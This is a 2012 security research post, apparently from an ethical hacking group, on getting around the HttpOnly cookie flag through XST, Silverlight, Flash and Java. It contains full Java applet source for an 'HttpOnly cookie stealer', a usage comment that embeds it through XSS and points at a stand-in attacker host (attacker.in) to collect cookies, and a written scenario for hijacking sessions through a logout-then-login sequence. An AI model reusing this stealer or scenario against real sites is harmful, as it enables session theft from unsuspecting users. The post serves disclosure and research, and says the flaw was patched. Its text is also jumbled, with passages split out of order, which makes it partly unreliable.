The Background - The Past

XMLHttpRequest which can be used to access set-cookie response header was fixed.





JS Debugger pointing out "TRACE" method as invalid arugment





JS Debugger pointing out "TRACE" method as illegal value





A Sla.ckers.org forum member, LeverOne, posted ways to access HttpOnly cookie through the use of Java API and applet. I reproduced his techniques. When the first method was tried, the Java Runtime did not allow the HTTP TRACE method any more. It threw an error message, "

Java permission exception for "TRACE" method being as HTTP Request





Cookie value shown as null from Java Applet

ubsequently, the HttpOnly cookie was forgotten by the security community. It was talked about and has been used as a security measure based on 1740K results from Google , including the OWASP

The Current - 2012

When I looked at Microsoft Silverlight, it seems that

were taken into account in its design in HttpRequest and HttpResponse handling. Silverlight separates the Http handling by Browser-based and Client-based. I can gain access to the set-cookie response header only if I use the latter one. Even so, this is applicable only for the set-cookie response header that does not have "HttpOnly" attribute. In addition, the Client-based cookie storage is isolated from the browser-based one.





Silverlight application can read set-cookie response header without HttpOnly flag

httpResponseStatus Event





Event Object Type: flash.events.HTTPStatusEvent

property HTTPStatusEvent.type = flash.events.HTTPStatusEvent.HTTP_RESPONSE_STATUS



Language Version: ActionScript 3.0 Runtime Versions: AIR 1.0, AIR 1.0, Flash Lite 4

ActionScript: Reading Response Header via the "httpResponseStatus" Event Listener

/* HttpOnly Applet - Stealing HttpOnly Cookie by Aung Khant, YGN Ethical Hacker Group, http://yehg.net/ 2012-05-19 Usage: <script>var ck= "";function getc(s){ck = s;alert("XSS HttpOnly-Cookie Stealer:



" + ck);}</script><applet code=HO.class archive=HO.jar width=0 height=0><param name=u value=http://attacker.in/xss/cookie.php></applet> */ import javax.swing.* ; import netscape.javascript.* ; import java.net.* ; public class HO extends JApplet { JSObject win ; String target, strcookies ; public void init ( ) { win = JSObject. getWindow ( this ) ; target = getParameter ( "u" ) ; strcookies = "" ; try { SwingUtilities . invokeAndWait ( new Runnable ( ) { public void run ( ) { try { URL url = new URL ( target ) ; URLConnection connection = url. openConnection ( ) ; connection. connect ( ) ; String headerName = null ; for ( int i = 1 ; ( headerName = connection. getHeaderFieldKey ( i ) ) != null ; i ++ ) { if ( headerName. equals ( "Set-Cookie" ) || headerName. equals ( "Set-Cookie2" ) ) { String cookie = connection. getHeaderField ( i ) ; String cookieName = cookie. substring ( 0 , cookie. indexOf ( "=" ) ) ; String cookieValue = cookie. substring ( cookie. indexOf ( "=" ) + 1 , cookie. length ( ) ) ; strcookies = strcookies + cookieName + "=" + cookieValue + "

" ; } } Object results [ ] ; results = new Object [ 1 ] ; results [ 0 ] = strcookies ; win. call ( "getc" , results ) ; } catch ( Exception ex ) { ex. printStackTrace ( ) ; } } } ) ; } catch ( Exception ex ) { ex. printStackTrace ( ) ; } } }

































































XSS Test: Getting HttpOnly Cookie through the Java Applet

However, there are certain circumstances that lead us to compromise HttpOnly session cookie.

We were asked by a lot if this still works. Shortly after our disclosure, this issue has been patched.------Gaining access to HttpOnly cookie was first attempted by means of XST, Cross Site Tracing vulnerability.Soon after the popularity of XST, the TRACE method has been disabled by most web servers. Later, browsers' implementation of XMLHttpRequest also blocked "TRACE" method (i.e.]. Later, a flawed implementation in Firefox's ". When the second one was tried, the Java API, getRequestProperty("Cookie"), return "null" value. It seemed that we cannot read the browser cookie storage from Java applet though it can connect to the requested URL with browser cookie.As far as I have researched and tested, I could not find ways to gain access to an HttpOnly cookie that has already been used by browser.I then thought of reading set-cookie response header containing HttpOnly cookie. Reading it through XMLHttpRequest was fixed. Reading it through Adobe Flash/ActionScript seems possible for Adobe AIR and Flash Lite 4 based on the Adobe documentation Flash Lite is supposed to be able to run on mobile devices' browsers. But I have short of Flash-Lite compatible devices at this moment. Anyone who has one can check this test page . The code is as simple as that:Then left is Java. Looking through Java Http API, I found an interesting method, getHeaderField , under java.net.URLConnection package. I quickly wrote an applet that requests a URL and reads its response set-cookie response header using getHeaderField method.To my surprise, it works I thought Java would block the set-cookie response header with HttpOnly flag like Silverlight. As a side-note, the Java API can be directly called from JavaScript as well, removing the bundle of compiling. So, the nice one-liner PoC will be as follows:Why this can be an issue with Java itself, a vulnerable page in a real-world application may have already issued the HttpOnly cookie by the time the script has executed.Let's say, we find an XSS issue in unauthenticated page, welcome.php. A victim has not accessed the login page, login.php, which issues an HttpOnly session cookie. The application does not renew new sesession cookie after user logs in, which is vulnerable to Session Fixation attack. In this case, we entice the victim to execute our HttpOnly cookie stealer XSS payload on the welcome.php page and make the payload send the stolen cookie to us.According to the provided scenario, the exploit will not work if the victim has already accessed the login.php page. This is not always the case. For example, many web applications have a logout page whose job is to clear session data and to issue either new session cookie or empty session session cookie such as. Here, our XSS payload will call this logout page first and then call the login page which issues HttpOnly session cookie.